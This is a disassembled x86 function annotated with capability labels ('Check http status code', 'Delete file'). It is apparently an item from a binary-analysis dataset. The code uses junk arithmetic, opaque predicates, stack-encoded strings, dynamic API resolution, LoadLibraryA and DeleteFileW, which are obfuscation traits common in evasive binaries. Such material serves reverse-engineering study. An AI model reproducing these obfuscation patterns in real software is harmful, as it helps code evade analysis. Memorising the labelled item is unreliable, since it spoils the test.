Function at 0x1000c456
Capabilities:
Check http status code
Delete file

Disassembly:
mov eax, 0x1004b8dd
call fcn.1004ae30
sub esp, 0x4a4
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1ec], edx
mov dword [ebp - 0x1ac], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x38], 6
mov dword [ebp - 0x28], 0x2b90f998
mov dword [ebp - 0x20], ebx
jmp 0x1000c4a8
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x8c], 0xd0188753
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1000c497
mov eax, dword [ebp - 0x14]
add eax, 0x530d
imul eax, eax, 0x6baf
test eax, eax
je 0x1000c4d3
mov ecx, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setl dl
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setle dl
xor eax, eax
imul edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x14]
cmp edx, 0x20274952
setle al
xor edx, edx
test eax, eax
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x14]
sete dl
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jg 0x1000c5aa
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x8c]
mov ecx, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, 0xffffffff
setge al
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x14]
sbb ecx, ecx
neg ecx
sub ecx, 0x3e73
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp + eax*4 - 0x8c]
cmp ecx, 6
jbe 0x1000c55e
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x8c]
mov eax, dword [ebp - 0x8c]
xor ecx, ecx
cmp eax, 0xaec
mov eax, dword [ebp - 0x14]
setne cl
xor edx, edx
cmp ecx, 8
mov eax, dword [ebp + eax*4 - 0x8c]
setl dl
sub eax, edx
jne 0x1000c590
cmp dword [ebp - 0x8c], ebx
jne 0x1000c590
mov ecx, ebx
jmp 0x1000c593
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x8c], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jle 0x1000c518
mov dword [ebp - 0x19c], ebx
mov dword [ebp - 0x198], ebx
mov dword [ebp - 0x194], ebx
mov byte [ebp - 4], 1
mov ecx, ebx
push 0x65
pop eax
push 0x74
mov byte [ebp - 0x96], al
pop eax
push 2
mov dword [ebp - 0xac], 0x1501d109
mov dword [ebp - 0xa8], 0x45050903
mov dword [ebp - 0xa4], 0x11025f0a
mov dword [ebp - 0xa0], 0x62000
mov dword [ebp - 0x9c], 0x90c2604
mov word [ebp - 0x98], 0xf903
mov dword [ebp - 0x95], 0x7030b8b
mov word [ebp - 0x91], 0x800
mov byte [ebp - 0x8f], 1
mov word [ebp - 0x30a], ax
pop esi
mov dword [ebp - 0x170], ecx
cmp esi, 0x14
jne 0x1000c646
push 4
pop ecx
push 0x16
mov dword [ebp - 0x170], ecx
pop esi
jmp 0x1000c69c
movzx edx, byte [ebp + esi - 0xab]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0xae]
movzx eax, word [ebp + eax*2 - 0x31c]
mov ecx, eax
and eax, edx
or ecx, edx
mov edx, 0x1149
sub ecx, eax
movzx eax, byte [ebp + esi - 0xac]
push ecx
push 0x404d
push ecx
mov word [ebp + eax*2 - 0x31c], cx
lea eax, [ebp - 0x170]
push eax
push ebx
call fcn.1000c1d5
mov ecx, dword [ebp - 0x170]
add esp, 0x14
add esi, 2
cmp esi, 0x1e
jb 0x1000c633
xor eax, eax
mov word [ebp - 0x302], ax
mov dword [ebp - 0x5c], 0x7a4a12b5
mov dword [ebp - 0x20], ebx
jmp 0x1000c6ca
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x300], 0x9ac7
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1000c6b9
xor ecx, ecx
inc ecx
mov dword [ebp - 0x5c], ecx
cmp dword [ebp - 0x5c], ebx
jl 0x1000c703
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x30], ebx
jmp 0x1000c6f8
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x300], 0xb7ce
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x1000c6e7
dec dword [ebp - 0x5c]
jns 0x1000c6db
lea eax, [ebp - 0x5c]
mov dl, cl
push eax
push ecx
push 0x3bc7
push 0x762e
xor cl, cl
call fcn.1000c349
add esp, 0x10
mov dword [ebp - 0x84], 0xd064207
xor ecx, ecx
mov dword [ebp - 0x80], 0xd000b03
inc ecx
mov word [ebp - 0x7c], 0xf04
mov byte [ebp - 0x7a], cl
mov ecx, ebx
push 0x65
pop eax
push 2
mov dword [ebp - 0x79], 0x20c050e
mov word [ebp - 0x75], 0x24e
mov byte [ebp - 0x73], 0xfb
mov byte [ebp - 0x72], al
mov word [ebp - 0x28e], ax
pop esi
mov dword [ebp - 0x160], ecx
cmp esi, 0x10
jne 0x1000c777
push 3
pop ecx
push 0x11
mov dword [ebp - 0x160], ecx
pop esi
jmp 0x1000c7db
movzx edx, byte [ebp + esi - 0x83]
mov eax, esi
sub eax, ecx
push 0x15d1
push 0x46c6
push 0x64b5
movzx eax, byte [ebp + eax - 0x86]
push ebx
movzx ecx, word [ebp + eax*2 - 0x29c]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x84]
add ecx, edx
mov dl, 1
mov word [ebp + eax*2 - 0x29c], cx
lea eax, [ebp - 0x160]
push eax
push 0x4543
xor cl, cl
call fcn.1000c3f0
mov ecx, dword [ebp - 0x160]
add esp, 0x18
add esi, 2
cmp esi, 0x13
jb 0x1000c764
xor eax, eax
xor ecx, ecx
mov word [ebp - 0x28c], ax
inc ecx
mov dword [ebp - 0x20], 0xc90a35f3
mov dword [ebp - 0x38], 0x478144ad
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x44], 0x5ef11ea
mov dword [ebp - 0x24], 0xd1337a3f
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x14], ebx
jmp 0x1000c82a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x190], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1000c819
mov dword [ebp - 0x14], ebx
jmp 0x1000c846
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x258], 0xdcdf
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1000c835
cmp dword [ebp - 0x190], ebx
jne 0x1000c857
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
neg eax
inc eax
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jne 0x1000c876
mov edx, ebx
cmp dword [ebp - 0x20], ebx
je 0x1000c878
mov edx, ecx
mov eax, dword [ebp - 0x254]
inc dword [ebp - 0x254]
cmp eax, edx
mov dword [ebp - 0x38], ecx
mov eax, ecx
mov ecx, dword [ebp - 0x38]
cmove eax, ebx
imul ecx, eax
xor edx, edx
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, 0x89c089ce
setg dl
cmp eax, edx
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
je 0x1000caed
mov dword [ebp - 0x14], ebx
jmp 0x1000c8c8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x208], 0xfaba
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1000c8b7
mov dword [ebp - 0x14], ebx
jmp 0x1000c8e1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x4c], 0xc4ad1532
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x1000c8d3
mov dword [ebp - 0x2c], ebx
jmp 0x1000cae1
mov dword [ebp - 0x14], 0x5f32
mov dword [ebp - 0x40], 0xf69bad97
mov dword [ebp - 0x1c], 0xfffffff8
mov dword [ebp - 0x34], 4
cmp dword [ebp - 0x14], ebx
jne 0x1000cb69
mov eax, dword [ebp - 0x204]
dec eax
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x4c], eax
cmp eax, dword [ebp - 0x18c]
jle 0x1000c995
mov eax, dword [ebp - 0x20]
sub eax, 0xb5c1
cmp eax, dword [ebp - 0x14]
jne 0x1000c93f
mov eax, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x204]
xor edx, edx
mov ecx, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x4c]
inc ecx
cmp ecx, eax
sete dl
mov dword [ebp - 0x40], edx
xor edx, edx
mov ecx, dword [ebp - 0x204]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
mov eax, dword [ebp - 0x30]
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
lea eax, [ecx - 0x3fb446e2]
mov dword [ebp - 0x4c], eax
test eax, eax
jne 0x1000c995
mov dword [ebp - 0x18c], ebx
mov dword [ebp - 0x18], 0xc2fcb8f7
mov dword [ebp - 0x1c], ebx
jmp 0x1000cad4
mov dword [ebp - 0x18c], 1
cmp dword [ebp - 0x4c], ebx
je 0x1000c986
mov dword [ebp - 0x28], 0x64ea5f72
cmp dword [ebp - 0x40], ebx
jne 0x1000ca2a
mov ecx, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
setle dl
cmp edx, 7
jl 0x1000c9cb
cmp dword [ebp - 0x28], ebx
jne 0x1000c9cb
mov ecx, ebx
jmp 0x1000c9ce
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x4c]
sub eax, ecx
je 0x1000c9df
cmp dword [ebp - 0x14], ebx
je 0x1000c9df
xor ecx, ecx
inc ecx
jmp 0x1000c9e1
mov ecx, ebx
mov eax, dword [ebp - 0x44]
imul eax, ecx
mov ecx, 0xcb58b1ca
imul eax, eax, 0xfb88
cmp ecx, eax
mov eax, dword [ebp - 0x20]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setne cl
imul eax, ecx, 0xcc8f
test eax, eax
je 0x1000ca16
cmp dword [ebp - 0x44], ebx
je 0x1000ca16
xor eax, eax
inc eax
jmp 0x1000ca18
mov eax, ebx
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x44]
xor ecx, ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
cmp eax, 0xd1a6
setle cl
mov dword [ebp - 0x30], ecx
jmp 0x1000cade
mov dword [ebp - 0x28], 0x565c6936
mov dword [ebp - 0x24], 0x8a7deb65
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], ebx
jne 0x1000ca99
cmp dword [ebp - 0x1c], ebx
jne 0x1000ca66
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x34]
xor edx, edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp eax, 0xab384274
setne dl
xor ecx, ecx
imul edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp edx, eax
setg cl
cmp ecx, dword [ebp - 0x2c]
je 0x1000ca99
mov ecx, ebx
jmp 0x1000ca9c
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x40]
xor edx, edx
cmp ecx, eax
setg dl
xor ecx, ecx
add edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
cmp edx, eax
setg cl
add ecx, dword [ebp - 0x30]
jne 0x1000cabb
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setl dl
mov dword [ebp - 0x24], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x14
jl 0x1000ca48
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffed
jg 0x1000c8ef
jmp 0x1000cb69
mov dword [ebp - 0x18], ebx
jmp 0x1000cb03
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x234], 7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1000caf2
push 0x6c4a
push 0x2871
push 0x369a
push ebx
lea eax, [ebp - 0x50]
mov byte [ebp - 0x50], bl
mov dl, 1
push 0x39e4
push eax
mov cl, dl
call fcn.1000c3f0
mov ecx, dword [ebp - 0x234]
add esp, 0x18
mov eax, dword [ebp - 0x22c]
neg ecx
mov eax, dword [ebp - 0x230]
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x18c], eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x234]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x2bc], 7
mov word [ebp - 0x2d0], ax
lea ecx, [ebp - 0x2d0]
lea eax, [ebp - 0x29c]
mov dword [ebp - 0x2c0], ebx
push eax
call fcn.1000af16
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2f4]
xor eax, eax
mov dword [ebp - 0x2e0], 7
mov word [ebp - 0x2f4], ax
lea eax, [ebp - 0x31c]
push eax
mov dword [ebp - 0x2e4], ebx
call fcn.1000af16
lea eax, [ebp - 0x2f4]
push eax
lea ecx, [ebp - 0x398]
call fcn.1000bbb1
lea eax, [ebp - 0x2d0]
push eax
lea ecx, [ebp - 0x380]
call fcn.1000bbb1
push ebx
push 1
lea ecx, [ebp - 0x2f4]
call fcn.100042fb
push ebx
push 1
lea ecx, [ebp - 0x2d0]
call fcn.100042fb
mov byte [ebp - 4], 3
lea eax, [ebp - 0x368]
push dword [ebp - 0x1b4]
lea ecx, [ebp - 0x1a8]
mov dword [ebp - 0x1a8], ebx
push eax
lea eax, [ebp - 0x398]
mov dword [ebp - 0x1a4], ebx
push eax
push ebx
mov dword [ebp - 0x1a0], ebx
call fcn.1000e41b
push fcn.1000bfaf
push 1
push 0x30
lea eax, [ebp - 0x398]
mov byte [ebp - 4], 5
push eax
call fcn.10035dbd
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x28], 0xbd13d8c5
mov dword [ebp - 0x28], 0xed99ea7
mov dword [ebp - 0x24], 0xfffffffa
mov dword [ebp - 0x18], ebx
jmp 0x1000cc84
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x15c], 0xf9b3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1000cc73
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], ebx
jl 0x1000cd3c
mov dword [ebp - 0x34], 0xfffffff9
cmp dword [ebp - 0x15c], ebx
je 0x1000ccba
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x15c], ebx
je 0x1000ccba
xor ecx, ecx
inc ecx
jmp 0x1000ccbc
mov ecx, ebx
mov eax, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x15c]
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + eax*4 - 0x15c]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x15c]
sete dl
imul ecx, edx, 0xdcef
xor edx, edx
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, 0x69393dda
setle al
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jne 0x1000cd0f
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x15c]
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + eax*4 - 0x15c]
add edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp edx, eax
setne cl
mov dword [ebp - 0x24], ecx
dec dword [ebp - 0x14]
jns 0x1000cc9a
push 7
xor eax, eax
lea edi, [ebp - 0x31c]
pop ecx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x24], 0xf606
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], 0xbacd7953
mov dword [ebp - 0x24], 8
mov dword [ebp - 0x24], 0x5cbd9454
mov dword [ebp - 0x20], 0x6887e08a
mov dword [ebp - 0x40], 0x7245
cmp dword [ebp - 0x40], 0x743c
jle 0x1000ce12
mov dword [ebp - 0x38], ebx
mov edi, ebx
mov dword [ebp - 0x18], ebx
mov eax, edi
mov dword [ebp - 0x34], 0x724d
mov edi, dword [ebp - 0x38]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edi
mov esi, ebx
and edi, eax
mov eax, esi
lea ecx, [ebp - 0x3b0]
or eax, edi
cdq
push edx
push eax
call fcn.10001a6a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000cdbd
mov eax, dword [eax]
push eax
call fcn.10036008
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x3b0]
call fcn.100040fa
inc esi
cmp esi, 0x4016
jl 0x1000cda1
mov eax, dword [ebp - 0x28]
mov edi, dword [ebp - 0x38]
dec eax
dec dword [ebp - 0x34]
mov dword [ebp - 0x28], eax
jne 0x1000cd9a
mov edi, dword [ebp - 0x18]
inc edi
mov dword [ebp - 0x18], edi
cmp edi, 0x2a6d
jl 0x1000cd8b
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp eax, 0x4985
jl 0x1000cd86
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0x40], 0x6e72
jge 0x1000ce26
push str.fzzybp_chhldrgsf_awxiso_zvnmhqmrc_zotleiqd_emjzy_krxpzblf_mqp_vldzhhyml_iarvbzb
call fcn.10036008
pop ecx
mov dword [ebp - 4], 5
mov dword [ebp - 0x18], ebx
jmp 0x1000ce43
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2f8], 0x61ab6ec7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x1000ce32
inc dword [ebp - 0x20]
lea edi, [ebp - 0x29c]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x18], 0xe1757117
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 0xfffffffa
jne 0x1000cf26
push ebx
push 0x1409
mov byte [ebp - 0x4e], bl
lea edx, [ebp - 0x4e]
push 1
mov cl, 1
call fcn.1000c2d6
mov dword [ebp - 0x38], 0x4f3e
add esp, 0xc
cmp dword [ebp - 0x38], 0x4fba
jle 0x1000cefe
mov eax, ebx
mov dword [ebp - 0x28], ebx
mov esi, ebx
mov dword [ebp - 0x34], ebx
cdq
mov edi, ebx
idiv esi
mov esi, edx
mov eax, edi
lea ecx, [ebp - 0x3c8]
or eax, esi
cdq
push edx
push eax
call fcn.10001a6a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000cec3
mov eax, dword [eax]
push eax
call fcn.10036008
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x3c8]
call fcn.100040fa
inc edi
cmp edi, 0x1f66
jl 0x1000cea7
mov esi, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
inc esi
mov dword [ebp - 0x34], esi
cmp esi, 0x5e30
jl 0x1000cea0
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x2ee
jl 0x1000ce9b
cmp dword [ebp - 0x18], ebx
jne 0x1000cf1e
cmp dword [ebp - 0x38], 0x4ba2
jge 0x1000cf17
push str.jrdziv_ogyml_bqoxn
call fcn.10036008
pop ecx
mov dword [ebp - 4], 5
dec dword [ebp - 0x18]
jmp 0x1000ce64
push ecx
push ecx
lea eax, [ebp - 0x1a8]
xor dl, dl
push eax
lea ecx, [ebp + 8]
call fcn.1000c1aa
mov dword [ebp - 0x28], 5
xor ecx, ecx
mov dword [ebp - 0x34], 0x867b8f5f
add esp, 0xc
mov dword [ebp - 0x28], 0x3edfa831
inc ecx
mov dword [ebp - 0x24], 0x5edade09
mov dword [ebp - 0x2c], ebx
jmp 0x1000cf6e
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x60], 0xc04ee7d2
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x1000cf60
mov dword [ebp - 0x2c], ebx
jmp 0x1000cf89
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x214], 0xfffffffe
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x1000cf78
mov eax, dword [ebp - 0x60]
xor edx, edx
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
cmp ecx, eax
push ebx
setl dl
xor ecx, ecx
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x60]
cmp eax, 1
push 0xc9b
setg cl
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x214], ecx
mov eax, dword [ebp - 0x34]
sub eax, ecx
mov dword [ebp - 0x24], eax
push 0x943
call fcn.10027aff
pop ecx
pop ecx
call eax
xor edx, edx
mov dword [ebp - 0x14], 0x5a136951
mov dword [ebp - 0x18], ebx
inc edx
jmp 0x1000cffa
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x58], 0x8ec0ae97
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1000cfec
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], ebx
jl 0x1000d076
mov dword [ebp - 0x24], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x58], ebx
je 0x1000d05e
mov dword [ebp - 0x18], ebx
jmp 0x1000d029
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x24c], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1000d01c
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x58]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x58]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24c]
mov eax, dword [ebp - 0x24c]
mov dword [ebp - 0x24], eax
jmp 0x1000d071
mov byte [ebp - 0x39], bl
cmp byte [ebp - 0x39], 0
je 0x1000d071
xor cl, cl
call fcn.1000c196
xor edx, edx
inc edx
dec dword [ebp - 0x14]
jns 0x1000d007
mov dword [ebp - 0x14], ebx
jmp 0x1000d08b
mov dword [ebp - 0x24], 4
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x24], eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffffa
jl 0x1000d07b
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], 0x2285faaf
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x1000d0b8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x244], 0x31a2955e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1000d0a7
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 0xffffffea
jge 0x1000d282
mov dword [ebp - 0x44], 0x2bf5f40e
mov dword [ebp - 0x40], 0x800f4d4e
mov dword [ebp - 0x24], 0x523668f7
mov dword [ebp - 0x24], 4
mov dword [ebp - 0x24], 0x88afc007
mov dword [ebp - 0x34], 0x11d5
cmp dword [ebp - 0x34], 0x1215
jle 0x1000d144
mov dword [ebp - 0x28], ebx
mov esi, ebx
mov edi, ebx
mov ebx, dword [ebp - 0x28]
lea eax, [edi + esi]
mov ecx, 0x10062a18
or eax, ebx
cdq
push edx
push eax
call fcn.10003a17
inc edi
cmp edi, 0x827
jl 0x1000d108
inc esi
push 0
pop ebx
cmp esi, 0x6ab2
jl 0x1000d103
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x23d
jl 0x1000d101
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x18], ebx
jmp 0x1000d156
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x334], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1000d149
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x34], 0x10de
jge 0x1000d196
mov edx, str.druayghv_uorbqkim_icuyba_khsrenwib_cbffkiulc
mov ecx, 0x10062a18
call fcn.10006198
jmp 0x1000d196
mov dword [ebp - 4], 5
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
add ecx, eax
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
mov eax, dword [ebp - 0x40]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
imul ecx, ecx, 0xf3b
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setge cl
mov dword [ebp - 0x24], ecx
xor ecx, ecx
cmp dword [ebp - 0x24], eax
setl cl
add ecx, dword [ebp - 0x20]
jne 0x1000d1f1
cmp dword [ebp - 0x40], ebx
jne 0x1000d1f1
mov eax, ebx
jmp 0x1000d1f4
xor eax, eax
inc eax
xor ecx, ecx
cmp eax, 0xaa4f
setg cl
xor eax, eax
cmp ecx, 0xe0c0
setge al
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x44]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
test ecx, ecx
js 0x1000d232
cmp dword [ebp - 0x40], ebx
jne 0x1000d232
cmp dword [ebp - 0x14], ebx
je 0x1000d235
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x330]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x1c]
jle 0x1000d2b7
mov dword [ebp - 0x30], 0xfea1
xor edx, edx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setge dl
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1000d299
cmp dword [ebp - 0x30], ebx
je 0x1000d31e
xor edx, edx
inc edx
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], ebx
jl 0x1000d352
mov dword [ebp - 0x14], ebx
jmp 0x1000d344
mov dword [ebp - 0x30], ebx
jmp 0x1000d2af
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x244], 0x67326dc7
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x1000d29e
jmp 0x1000d31e
mov dword [ebp - 0x1fc], 0xfffffffe
mov dword [ebp - 0x24], 0xf0102089
mov dword [ebp - 0x2c], ebx
jmp 0x1000d2de
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x2dc], 0x37ece519
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 1
jl 0x1000d2cd
mov dword [ebp - 0x2c], ebx
jmp 0x1000d2fa
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x23c], 0x3ecb6aef
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x1000d2e9
push ecx
push ecx
lea eax, [ebp - 0x1fc]
xor dl, dl
push eax
mov ecx, 0x254c
call fcn.1000c3bf
add esp, 0xc
dec dword [ebp - 0x238]
dec dword [ebp - 0x1c]
jmp 0x1000d0c1
push edx
lea eax, [ebp - 0x4f]
mov byte [ebp - 0x4f], bl
push eax
push edx
mov edx, 0x765
mov cl, 1
call fcn.1000c2d6
add esp, 0xc
xor edx, edx
inc dword [ebp - 0x14]
inc edx
cmp dword [ebp - 0x14], edx
jle 0x1000d326
dec dword [ebp - 0x1c]
jns 0x1000d291
push ebx
push 0x4677
push ecx
lea ecx, [ebp - 0x2b8]
call fcn.1000c3a7
mov dword [ebp - 0x48], ebx
add esp, 0xc
mov dword [ebp - 0x1c], ebx
